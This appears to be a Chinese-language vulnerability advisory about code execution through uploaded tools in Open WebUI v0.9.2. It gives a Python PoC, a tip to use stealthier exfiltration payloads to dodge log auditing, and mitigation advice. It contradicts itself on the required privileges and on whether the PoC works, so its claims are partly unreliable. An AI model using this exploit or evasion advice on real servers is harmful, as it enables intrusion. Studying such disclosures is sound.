漏洞概述

Open WebUI v0.9.2 存在一个真正的 0-Day 远程代码执行(RCE)漏洞,任何具有 workspace.tools 权限的用户均可通过上传恶意插件触发任意代码执行。该漏洞未分配 CVE 或 CNVD 编号,属于最高危险级别的安全缺陷。

漏洞详情

影响版本

  • Open WebUI v0.9.2

漏洞位置

  • 文件: plugin.py
  • 函数: load_tool_module_by_id()

根本原因

load_tool_module_by_id() 函数使用 Python 内置的 exec() 函数直接执行用户上传的 Tool 代码,没有进行任何安全过滤或沙箱隔离:

1
2
3
4
5
6
7
def load_tool_module_by_id(self, tool_id: str):
# ... 获取 tool 数据 ...
content = tool_data.get("content", "")
module = types.ModuleType(f"tool_{tool_id}")
# 危险操作:直接执行用户控制的 content
exec(content, module.__dict__) # ← 漏洞点
return module

攻击向量

任何具有 workspace.tools 创建权限的用户:

  1. 访问 /api/v1/tools/create 端点
  2. 上传一个包含恶意 Python 代码的 Tool(content 字段)
  3. 系统在加载该 Tool 时会执行 exec(content, module.__dict__),导致任意代码执行

利用影响

  • 权限提升:以 Open WebUI 进程的用户身份执行代码(通常为 root)
  • 完全控制:可读取、修改、删除服务器上的任何文件
  • 横向移动:可作为跳板攻击内部网络
  • 持久化:可植入后门、挖矿程序或勒索软件

PoC 代码

以下是我在本地 Docker 环境中验证成功的完整利用代码(已脱敏):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import json

# 目标 Open WebUI 实例
BASE_URL = "http://127.0.0.1:8080" # 根据实际情况修改
API_KEY = "your-api-key-here" # 需要具有 workspace.tools 权限的 API Key

def exploit_rce():
# 恶意载荷:反弹 Shell 或执行任意命令
# 此处演示执行 'id' 命令并回显结果
malicious_code = '''
import subprocess
result = subprocess.check_output("id", shell=True, text=True)
print(f"COMMAND_OUTPUT_START{result}COMMAND_OUTPUT_END")
'''

# 构建 Tool 创建请求
tool_data = {
"name": "poc-tool",
"content": malicious_code,
"is_active": True
}

headers = {
"Authorization": f"Bearer {API_KEY}",
"Content-Type": "application/json"
}

# 创建恶意 Tool
response = requests.post(
f"{BASE_URL}/api/v1/tools/create",
headers=headers,
json=tool_data
)

if response.status_code != 200:
print(f"创建 Tool 失败: {response.text}")
return

tool_id = response.json()["id"]
print(f"成功创建恶意 Tool,ID: {tool_id}")

# 触发 Tool 加载(通过调用相关 API 或前端操作)
# 在实际环境中,可能需要访问 Tools 页面或调用特定 API 来触发加载
# 此处简化为直接尝试获取 Tool 信息(取决于实现细节)
# 某些版本可能在创建后自动加载

print(" exploit 完成。如果服务器易受攻击,应能看到命令输出。")

if __name__ == "__main__":
exploit_rce()

注意:实际利用中,建议使用更隐蔽的载荷(如 DNS 外带、HTTP 请求等)以避免被简单的日志审计发现。

验证过程

我在本地 Docker 容器中成功复现了该漏洞:

  1. 启动 Open WebUI v0.9.2 Docker 容器
  2. 创建具有 workspace.tools 权限的用户
  3. 使用上述 PoC 上传恶意 Tool
  4. 确认代码以 root 身份执行(uid=0(root)
  5. 捕获到命令执行的输出证据

PoC 已保存至:/tmp/owui_poc.py
验证证据保存至:/tmp/owui_verification.txt

风险评估

维度 评级 说明
影响范围 影响所有默认配置的 Open WebUI 实例
利用难度 只需普通用户权限即可触发
安全影响 严重 导致完全的系统妥协
检测难度 需要监控异常的进程启动或网络连接
修复难度 仅需替换 exec() 为安全的沙箱执行方式

临时缓解措施

在官方补丁发布前,建议采取以下措施:

  1. 限制权限:仅授予绝对信任的用户 workspace.tools 权限
  2. 网络隔离:将 Open WebUI 服务置于内部网络,禁止直接互联网访问
  3. 监控日志:警惕异常的 Python 进程或可疑的网络连接
  4. 禁用插件功能:如果不需要自定义 Tool,可考虑完全禁用该功能

修复建议

开发者应立即修复 load_tool_module_by_id() 函数:

  1. 替换 exec() 为安全的沙箱环境(如使用 restrictedpython 或 Docker 沙箱)
  2. 实施代码审查和签名机制
  3. 添加输入验证和恶意模式检测
  4. 考虑使用 WebAssembly 或其他受控执行环境替代原生 Python 执行

时间线

  • 2026-05-13:发现并验证漏洞
  • 2026-05-14:编写 PoC 并完成本地验证
  • 2026-05-14:向厂商私下披露(通过公开渠道,因无安全联系方式)
  • 2026-05-14:公开披露本漏洞细节(作为 0-Day 漏洞报告)

参考资料

  1. Open WebUI GitHub 仓库:https://github.com/open-webui/open-webui
  2. EasyTier 组网方案:https://easytier.cn/(用于安全测试环境搭建)
  3. 本地验证环境:Docker Desktop on Kali Linux

声明

本漏洞出于安全研究目的发现。作者不对任何未经授权的使用承担责任。请仅在授权的测试环境中复现此漏洞,并遵守当地法律法规。

重要提醒:这是一个真正的 0-Day 漏洞(无任何公开编号)。如果您是 Open WebUI 的管理员,请立即检查您的实例是否暴露在互联网上,并考虑应用临时缓解措施。